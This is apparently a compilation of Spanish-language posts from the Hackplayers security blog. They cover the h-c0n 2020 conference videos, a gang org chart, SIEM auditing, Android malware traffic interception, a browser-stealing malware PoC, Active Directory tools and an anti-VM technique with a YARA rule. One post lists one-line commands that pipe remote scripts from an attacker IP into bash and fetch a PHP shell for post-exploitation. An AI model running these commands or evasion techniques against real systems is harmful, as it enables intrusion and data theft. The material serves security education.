Vídeos de #hc0n2020, la III conferencia de Hackplayers

El 31 de enero y 1 de febrero de 2020 tuvimos la suerte de poder celebrar la tercera edición la conferencia de Hackplayers h-c0n, que tuvo lugar en la Nave de Madrid materializando todas nuestras ilusiones: nunca habíamos podido compartir con vosotros tanto contenido en dos días que fueron verdaderamente intensos e inolvidables. El resto es ya historia de la que, junto al staff, los ponentes, patrocinadores y asistentes, quedará remanente en nuestra memoria, y creerme que sólo tenemos palabras y sentimientos de agradecimiento para todos los formasteis parte de ella de cualquiera de las maneras posibles. Gracias otra vez. 

Echando la mirada atrás, por aquel entonces llegaban ya noticias del SARS-CoV-2 presente en China que sin embargo creíamos ajeno, como algo muy remoto. Semanas después ya sabéis que el coronavirus empezó a expandirse hasta convertirse en una pandemia mundial. Nuestra vida cambió radicalmente y eventos presenciales como h-c0n y el resto de conferencias evidentemente ya no son posibles como antes. Seguro que muchos pensaréis (y estamos de acuerdo) que ante esta grave crisis eso ya casi carece de verdadera importancia, pero es irremediable añorar reuniones como aquellas, encontrarnos sin Internet de por medio y tener la posibilidad de echar unas risas y unas cervezas, aunque sea de vez en cuando. ¡Pero seguro volveremos!. 

Por tanto inmersos en el recuerdo de nuestra conferencia de este año, queríamos publicar los vídeos de las charlas que se grabaron en el auditorio principal, gracias a los ponentes correspondientes. Nos hubiese gustado haber podido grabar y compartir con vosotros también las del resto de tracks pero nos faltaron tiempo y medios, así que nos lo apuntamos para la siguiente. Hasta entonces, os dejamos dichos videos para que los disfruteis:

 

 #h-c0n2020 

• URL de videos: https://www.h-c0n.com/p/videos.html 
• Info de ponencias: https://www.h-c0n.com/p/ponencias2020.html 
• Ponentes: https://www.h-c0n.com/p/ponentes2020.html

¿Cómo se organizan los ciberdelincuentes?

A estas alturas yo creo que ya nadie piensa que todos los ciberdelicuentes o cibercriminales son adolescentes trabajando en un sótano con una sudadera con capucha. No digo que no los haya, como lobos solitarios en la hondonada del bosque, pero está claro y meridiano que los grandes "actores" se organizan en complejas bandas con una estructura que se asemeja a la de muchas empresas de tecnología. De hecho imitan tanto su comportamiento que podemos ver que a menudo están activas durante el horario de oficina, se toman los fines de semana libres, trabajan en horario regular, sus miembros se toman vacaciones... Luego establecen objetivos y hasta establecen metas trimestrales.  

Por otro lado el organigrama de las bandas varía evidentemente pero coinciden casi siempre que tienen a un líder, como un director ejecutivo, que supervisa los objetivos más amplios de la organización. Luego por debajo de él tiene una serie de "gerentes de proyecto", que coordinan otras personas a su cargo para las diferentes partes de cada ciberataque. Incluso tienen contactos con otras bandas (con otras suelen incluso competir y rivalizar), gente especializada en finanzas, captación de mulas, etc. 

Lo que os traigo hoy es un simple ejercicio de imaginación de lo que sería la organización de una banda de ciberdelincuentes de tamaño "medio", con sus perfiles y sus roles, y este ha sido el resultado:

Nota: Las fotos son realmente de gente que no existe, generadas por IA de GAN (generative adversarial network) y obtenidas de https://thispersondoesnotexist.com/. 

Como veis se trata de un grupo bastante multidisciplinario con distintos y variados skills:

Miembros

• Team leader: responsable de dirigir todas las "misiones" y llevar la comunicación con los miembros de la banda
• Intrusion coordinator: coordina todas las operaciones a nivel técnico y tiene una amplia visión de cada campaña
• Coders: desarrolladores de malware que se centran en desarrollar software para infectar los sistemas, persistir, propagarse automáticamente y evadir las detecciones
• Engineer: mantiene la infraestructura necesaria y administra los sistemas comprometidos o bots
• Red teamers: diseñan y llevan cabo las distintas fases de la cadena de ataque, identificando y ejecutando todas las tácticas y técnicas oportunas
• Data miner: investiga, organiza y formatea todos los datos robados para evaluar su valor y monetizarlos
• Money Specialist: identifica la forma más óptima, estratégica y segura de conseguir dinero con las operaciones
  

Externos

• Mule recruiter: coordina la captación y participación de mulas para la obtención y/o blanqueo de rendimientos monetarios obtenidos
• Contracting: a menudo esponsorizados por terceros anónimos solicitan distintos servicios a la banda
• Insiders: normalmente empleados sobornados para facilitar información e incluso puertas traseras y otras acciones para facilitar la intrusión
  

¿Qué opináis? ¿echáis de menos la figura de algún otro crack en la banda? ;)

SIEM, ¿Durmiendo con el enemigo?

En la mayoría de las empresas medianas y grandes, el cerebro de la seguridad se basa en un SIEM (Security Information and Event Managment), donde todos los equipos de red y servidores envían los eventos de cada uno de los servicios o sistemas operativos, para que a través de las políticas y correlaciones configuradas, se generen las alertas de alguna anomalía o un ataque en la red.

Para que esto funcione es fundamental que el SIEM tenga algún mecanismo de acceso a los diferentes servicios o a los diferentes eventos de cada sistema, por lo cual es un elemento en la red que no solo sirve de concentrador sino que también permite acceder de cierta forma a diferentes. Lo que significa que para las áreas de seguridad es un elemento que debe tener una especial atención, no solo en su funcionamiento sino en sus configuraciones de seguridad, por lo que en ElevenPaths desde hace un par de años hemos estado realizado varias investigaciones entorno a como las empresas configuran la seguridad de este elemento central para la seguridad de las empresas.

El objetivo de la investigación fue desarrollar una herramienta que permita a los equipos de red team detectar las vulnerabilidades más comunes que se generan por malas configuraciones de los SIEM, buscando aprovechar fallos en el manejo de las API, hacer ataques de diccionario, usar las contraseñas por defecto o aprovecharse de los puertos de administración que se dejan configurados. Por lo que se inicio con el desarrollo hace un año, haciendo pruebas en tres diferentes SIEM y hoy se ha llevado la investigación a siete plataformas.

Usando para el desarrollo de las pruebas sus versiones libres y las configuraciones por defecto que tiene cada uno de los SIEM que más se usan en el mercado o que tras la presentación de la herramienta en DEFCON Europe en el 2019 nos fueron solicitando los usuarios, así en esta versión 0.2 se pueden hacer pruebas sobre:

    • Splunk
    • Graylog
    • OSSIM
    • QRadar
    • McAfee SIEM
    • SIEMonster
    • ElasticSIEM

La herramienta es completamente publica y pueden descargarla de GitHub y escrita en Python 3, por lo que la comunidad puede aportar o reportar los bugs que detecte y así seguiremos con la investigación.

Cómo hacer MiTM para inspeccionar el tráfico HTTPS de un APK malicioso de Android

Dado que la depuración de APKs de terceros es complicada y el reversing de APKs muy ofuscados es extremadamente difícil, nuestra siguiente mejor opción es dejar que el APK se ejecute para ver cómo se comporta. Cuando hacemos este tipo de análisis dinámico, buscamos principalmente qué tipos de permisos solicita el APK y qué llamadas hace.

Lamentablemente, la mayoría del malware hoy en día utiliza HTTPS para sus callbacks. Eso hace que la inspección del tráfico de la red sea imposible con un sniffer como Wireshark o tcpdump sin algún tipo de técnica de MiTM.

Ser capaz de inspeccionar el tráfico de red de la muestra de malware de turno proporciona indicadores de compromiso (IOC) vitales para el triage de los analistas y proporciona a los reversers información contextual que les ayuda a centrarse en las rutinas clave dentro del APK.

En este video tutorial, podemos ver cómo utilizar la herramienta MITMProxy en Kali Linux para interceptar y descifrar el tráfico IPV4/IPV6 de un emulador de Android que ejecuta malware APK.

Url del video: https://youtu.be/_QtSB0Old_Q

Herramientas necesarias

• Software de virtualización (VMware, Virtualbox, Qemu)
• Kali Linux
• Android Studio
• MITM Proxy (preinstalado en Kali Linux)
• MITMProxy Startup Script (script de inicio opcional de ringzerolabs)
  

Fuente: https://www.ringzerolabs.com/2020/10/man-in-middle-android-apk-network.html

spybrowse: simple código (educativo) para robar config de navegadores

Hoy traemos un código en C bastante académico, concretamente casi una PoC de un malware que, en tan sólo 149 líneas, es capaz de comprometer y birlar la info del navegador de un usuario de Windows (ficheros de config como el historial, preferencias, etc.) y hasta con un bajo ratio nivel de detección de los AV. Y ojo que solo decimos ratio de detección porque, como decía el amigo esjay, ejecuta exes desde %temp%, usa la clave de registro estándar para persistencia, ni siquiera oculta las llamadas a la API, transmite archivos sin cifrar por ftp desde algún binario sin firmar, ... es decir, que disparará en un santiamén las alarmas de cualquier EDR. Pero bueno, buen código for fun and profit que:

- Se copia a sí mismo en el directorio %TMP% con el nombre ursakta.exe

- Agrega una entrada de registro para que se ejecute cada vez que el usuario inicie sesión

- Verifica el navegador que está usando el usuario (Chrome, Firefox o Brave)

cmds para descargar y ejecutar código malicioso

En el proceso de una intrusión, normalmente en la fase de post-explotación, un atacante necesita descargar y ejecutar código malicioso a través de comandos para implementar operaciones tales como recopilación de información, persistencia, escalada de privilegios, bypasses de defensas, extracción de credenciales, movimiento lateral y exfiltración de datos. Hoy traemos una buena recopilación de comandos en una sóla línea para ello:

LINUX 

01. curl 

Ejecutar el shell script de la página http con curl, sin descargar, directamente en la máquina local.

Opción 1：curl -fsSL http://192.168.99.19:8080/test.sh | bash
Opción 2：bash < <( curl http://192.168.99.19:8080/test.sh  )

02. wget 

Ejecutar el comando wget para descargar programas maliciosos de forma remota.

Opción 1：wget -q -O- http://192.168.99.19:8080/test.sh | bash
Opción 2：wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php

Combinar curl + wget para realizar la ejecución remota de código malicioso sin archivos.

bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'

03. rcp 

El comando rcp se usa para copiar archivos o directorios remotos.

rcp root@x.x.x.x:./testfile testfile

04. scp 

scp es una versión mejorada de rcp, scp está cifrado.

scp username@servername:/path/filename /tmp/local_destination

05. rsync 

Utilizar rsync para sincronizar de forma remota y extraer archivos a un servidor local.

rsync -av x.x.x.x:/tmp/passwd.txt  /tmp/passwd.txt

06. sftp 

Utilizar sftp para descargar archivos en el servidor remoto.

sftp admin@192.168.99.242 <<EOF  
get  /tmp/2.txt            
quit 
EOF

Lil Pwny: herramienta para comparar las contraseñas de un DA con la lista de Have I Been Pwned

Lil Pwny es una herramienta escrita en Python que permite comparar de forma offline las contraseñas de un Directorio Activo contra la lista de contraseñas recopiladas en Have I Been Pwned (en adelante HIBP), ya sabéis, la recopilación de contraseñas de muchos data breachs reales. 

Y es que hablamos de que actualmente esta recopilación tiene más de 550 millones de contraseñas, así que esta tarea debe hacerse con cierto "mimo". Para ello el autor de la herramienta Andrew Byford aka @_PaperMtn ha implementado multiproceso y opcionalmente permite trabajar en memoria para un indexado más rápido (mínimo 24GBs de RAM). También divide la lista de los hashes de los usuarios de DA en tantos trozos como número de cores -1, dejando ese core libre para manejar la lista compartida entre los procesos. Luego se crea un proceso para que cada uno de los cores busque su parte de la lista de hashes de usuarios en la lista hash de HIBP. 

Estas optimizaciones significan que cuanto más hardware se esté utilizando más rápido se ejecutará la auditoría. Por ejemplo, con un servidores de 80 núcleos y 80 GB de RAM se pueden comparar unos 6800 usuarios contra la lista HIBP en 48 minutos. 

Además Lil Pwny permite otras características adicionales bastante interesantes como: 

• La posibilidad de proporcionar una lista adicional de contraseñas (las más relevantes de las que se sospecha que podrían estar usándose), más bien hashes, para comparar contra los del DA y la lista de HIBP.
• Devuelve una lista de cuentas con las mismas contraseñas. Útil para encontrar usuarios que utilicen la misma contraseña para sus cuentas con privilegios y estándar. 

AntiVM: sensor de temperatura

El sensor que mide la temperatura actual de una máquina es también una buena manera para saber si un programa está ejecutándose en un entorno virtualizado, algo normalmente útil para un código malicioso porque será indicativo de que probablemente esté siendo analizado en una sandbox. En un entorno no virtualizado la función devuelve una salida válida como: "25.05C: 77.09F: 298.2K". Pero para un entorno totalmente virtualizado lo que devuelve es "MSAcpi_ThermalZoneTemperature not supported" porque esta función no es compatible con procesadores virtualizados. 

Pero para decepción de los autores de malware este método no siempre es válido: no todas las máquinas con Windows lo admitirán debido a la incompatibilidad con algunos sensores térmicos. Es una función de BIOS. A veces, el fabricante del BIOS proporciona DLLs a las que se puede hacer referencia para llamar a la función requerida y devolver el detalle, pero muchas otras veces no existe ese soporte del fabricante y simplemente no es posible obtener la temperatura en una máquina física tampoco. En cualquier caso no deja de ser una técnica anti-VM bastante importante: 

Powershell

function Get-AntiVMwithTemperature {
    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"
    $valorTempKelvin = $t.CurrentTemperature / 10
    $valorTempCelsius = $valorTempKelvin - 273.15
    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32
    return $valorTempCelsius.ToString() + " C : " + $valorTempFahrenheit.ToString() + " F : " + $valorTempKelvin + "K"  
}

Referencia: https://gist.github.com/teixeira0xfffff/36293713c254c69a7ba2353e8d64afce#file-msacpi_thermalzonetemperature-ps1 

Yara

rule Detect_AntiVMWithTemperature {
    meta:
        description = "Rue to detect AntiVMwithTemperature technique"
        author = "Thibault Seret"
        date = "2020-09-26"
    strings:
        $s1 = {72 6f 6f 74 5c 57 4d 49}
        // root\WMI
        $s2 = {53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 4d 53 41 63 70 69 5f 54 68 65 72 6d 61 6c 5a 6f 6e 65 54 65 6d 70 65 72 61 74 75 72 65}
        // SELECT * FROM MSAcpi_ThermalZoneTemperature
        $s3 = {43 75 72 72 65 6e 74 54 65 6d 70 65 72 61 74 75 72 65}
        //  CurrentTemperature
    
    condition:
    all of them

Recursos adicionales: 

• https://medium.com/@DebugActiveProcess/anti-vm-techniques-with-msacpi-thermalzonetemperature-32cfeecda802 
• https://social.msdn.microsoft.com/Forums/en-US/19520825-b1fc-4778-8704-c492124bc029/getting-cpu-temp?forum=vblanguage 

Fuente: https://search.unprotect.it/map/sandbox-evasion/temperature-sensor/

Filtran el código fuente de Windows XP y Windows Server 2003

El código fuente de Windows XP SP1 y Windows Server 2003, entre otros sistemas operativos obsoletos de la compañía de Redmond, ha sido filtrado hoy, concretamente como una colección de 43GB en un torrent en el foro de 4chan.

El contenido del torrent incluye:

• MS DOS 3.30
• MS DOS 6.0
• Windows 2000
• Windows CE 3
• Windows CE 4
• Windows CE 5
• Windows Embedded 7
• Windows incrustado CE
• Windows NT 3.5
• Windows NT 4
  

Y adicionalmente un 7zip más pequeño de 2.9GB que contiene el código fuente para Windows XP y Windows Server 2003.

El filtrador afirma que el código fuente de Windows XP se ha transmitido de forma privada durante años, pero que se filtró públicamente por primera vez hoy.

Desde Hackplayers todavía no hemos confirmado al 100% si es el código fuente real de Windows XP o Windows Server 2003. Por motivos obvios, tampoco publicaremos aquí los enlaces a los leaks.

Fuente: https://www.bleepingcomputer.com/news/microsoft/the-windows-xp-source-code-was-allegedly-leaked-online/

Construye un Directorio Activo de pruebas con BadBlood

BadBlood de Secframe es una herramienta que nos ayudará a crear una estructura y miles de objetos en un dominio de Microsoft Active Directory de prueba. El objetivo es tener un dominio similar a un dominio en el mundo real para practicar el uso de herramientas y comprender las defensas y protección del Directorio Activo.

Pero no penséis que BadBlood es una herramienta que siempre va a generarnos el mismo resultado, cada vez que se ejecuta produce resultados distintos: el dominio, los usuarios, los grupos, las computadoras y los permisos son diferentes cada vez.

Para usarla simplemente hay que descargar el repositorio y lanzar el script Invoke-BadBlood.ps1 con un usuario con privilegios de Domain Admin y Schema Admin.

# clone the repo
git clone https://github.com/davidprowe/badblood.git
#Run Invoke-badblood.ps1
./badblood/invoke-badblood.ps1

Si queremos editar las OUs de nivel superior podemos hacerlo en el archivo de configuración “3lettercodes.csv”. También podemos modificar los detalles de la estructura de OUs que se incluyen en AD_OU_CreateStructure\CreateOUStructure.ps1.

Una vez que se completa la estructura, BadBlood comienza a crear un número aleatorio de usuarios (500-10000) en el dominio. Este proceso está diseñado en el fichero AD_Users_Create\CreateUsers.ps1.